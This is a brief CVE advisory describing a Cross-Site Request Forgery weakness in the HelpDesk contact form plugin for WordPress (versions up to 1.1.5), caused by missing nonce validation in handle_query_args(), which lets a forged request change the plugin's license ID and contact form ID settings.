CVE-2025-13657

Description

The HelpDesk contact form plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.5. This is due to missing or incorrect nonce validation on the handle_query_args() function. This makes it possible for unauthenticated attackers to update the plugin's license ID and contact form ID settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
